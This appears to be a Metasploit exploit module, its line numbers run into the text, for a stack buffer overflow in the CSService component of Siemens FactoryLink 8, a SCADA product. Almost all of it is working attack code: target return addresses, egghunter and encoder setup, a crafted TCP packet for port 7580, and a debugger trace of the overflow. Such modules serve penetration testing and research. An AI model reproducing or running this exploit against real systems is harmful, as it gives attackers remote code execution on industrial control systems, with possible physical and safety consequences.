Path: blob/master/modules/exploits/windows/scada/factorylink_csservice.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Siemens FactoryLink 8 CSService Logging Path Param Buffer Overflow",16'Description' => %q{17This module exploits a vulnerability found on Siemens FactoryLink 8. The18vulnerability occurs when CSService.exe processes a CSMSG_ListFiles_REQ message,19the user-supplied path first gets converted to ANSI format (CodePage 0), and then20gets handled by a logging routine where proper bounds checking is not done,21therefore causing a stack-based buffer overflow, and results arbitrary code execution.22},23'License' => MSF_LICENSE,24'Author' => [25'Luigi Auriemma <aluigi[at]autistici.org>', # Initial discovery, poc26'sinn3r', # Metasploit (thx hal)27],28'References' => [29['OSVDB', '72812'],30['URL', 'http://aluigi.altervista.org/adv/factorylink_1-adv.txt'],31['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-091-01']32],33'Payload' => {34'BadChars' => "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",35'StackAdjustment' => -3500,36'EncoderType' => Msf::Encoder::Type::AlphanumMixed,37'EncoderOptions' => { 'BufferRegister' => 'ECX' },38},39'DefaultOptions' => {40'EXITFUNC' => "process",41},42'Platform' => 'win',43'Targets' => [44[45'Windows XP SP3',46{47'Offset' => 965, # Offset to overwrite RETN48'Ret' => 0x7e4456f7, # JMP ESP in USER32.dll49'Max' => 1400, # Max buffer used50}51],52[53'Windows Server 2003 SP0',54{55'Offset' => 965,56'Ret' => 0x77d20738, # JMP ESP in USER32.dll57'Max' => 1400,58}59]60],61'Privileged' => false,62'DisclosureDate' => '2011-03-25',63'Notes' => {64'Reliability' => UNKNOWN_RELIABILITY,65'Stability' => UNKNOWN_STABILITY,66'SideEffects' => UNKNOWN_SIDE_EFFECTS67}68)69)7071register_options(72[73Opt::RPORT(7580)74]75)76end7778# User input will get converted back to ANSCI with WideCharToMultiByte before vsprintf79def to_unicode(text)80output = ''81(text.length).times do |i|82output << text[i, 1] << "\x00"83end84return output85end8687def exploit88# Modify payload89# XP = Align EAX 0x3a bytes. Win2k3SP0 = 0x0a bytes90p = "\x57" # PUSH EDI91p << "\x59" # POP ECX92p << ((target.name =~ /server 2003/i) ? "\xb0\x0a" : "\xb0\x3a")93p << "\x30\xc1" # XOR CL,AL94p << payload.encoded9596# Meterpreter tends to fail because of it being mangled. We use an egghunter97# instead to ensure the payload's integrity.98egg_options =99{100:checksum => true,101:eggtag => "W00T",102}103104egghunter, p = generate_egghunter(p, payload_badchars, egg_options)105106# x86/alpha_mixed egghunter107alpha_encoder = framework.encoders.create("x86/alpha_mixed")108alpha_encoder.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })109egghunter = alpha_encoder.encode(egghunter, nil, nil, platform)110111sploit = ''112sploit << make_nops(4)113sploit << p114sploit << rand_text_alpha(965 - sploit.length)115sploit << [target.ret].pack('V*')116sploit << egghunter117118sploit << rand_text_alpha(target['Max'] - sploit.length)119sploit = to_unicode(sploit)120121pkt = "\x00\x00\x4c\x45\x4e\x00\x40\x0b\x00\x00\x00\x00\x00\x00\x99\x00\x00\x00\x04\x00"122pkt << "\x00\x00\x01\x07\x00\x00\x0b\x31\x99\x62\x72\x6b\x01\x00\x00\x00\x02\x04\x00\x00"123pkt << "\x00\x04\x00\x00\x00\x01\x07\x00\x00\x0b\x19\x99\x00\x00\x00\x06\x00\x00\x00\x03"124pkt << "\x06\x00\x00\x0a\xf6\x11\x22\x33\x44"125pkt << sploit126pkt << "\x00\x00\x06\x00\x00\x00\x06\x11\x22\x33\x44\x00\x00\x04\x00\x00\x00\x04\x00\x00"127pkt << "\x00\x01\x99\x99\x99"128129print_status("Sending malicious request to remote host...")130131connect132sock.put(pkt)133handler134select(nil, nil, nil, 6)135disconnect136end137end138139=begin1400:000> g141call vsprintf. Destination=0x0012ead0 Format=0x0043b92c Args=0x0012eedc142eax=0012eedc ebx=7c809a99 ecx=0043b92c edx=0012ead0 esi=0012eee8 edi=00000002143eip=0040b908 esp=0012eac4 ebp=0012fabc iopl=0 nv up ei pl nz na po nc144cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202145CSService+0xb908:1460040b908 ff15249b4400 call dword ptr [CSService+0x49b24 (00449b24)] ds:0023:00449b24={msvcrt!vsprintf (77c3fe49)}1471480:000> dc 0012ead01490012ead0 65535343 63697672 43203a65 47534d53 CSService: CSMSG1500012eae0 73694c5f 6c694674 525f7365 2d205145 _ListFiles_REQ -1510012eaf0 6f685320 72694477 2c303d73 6c694620 ShowDirs=0, Fil1520012eb00 3d726574 6150202c 613d6874 61616161 ter=, Path=aaaaa1530012eb10 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa1540012eb20 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa1550012eb30 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa1560012eb40 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa157158=end159160161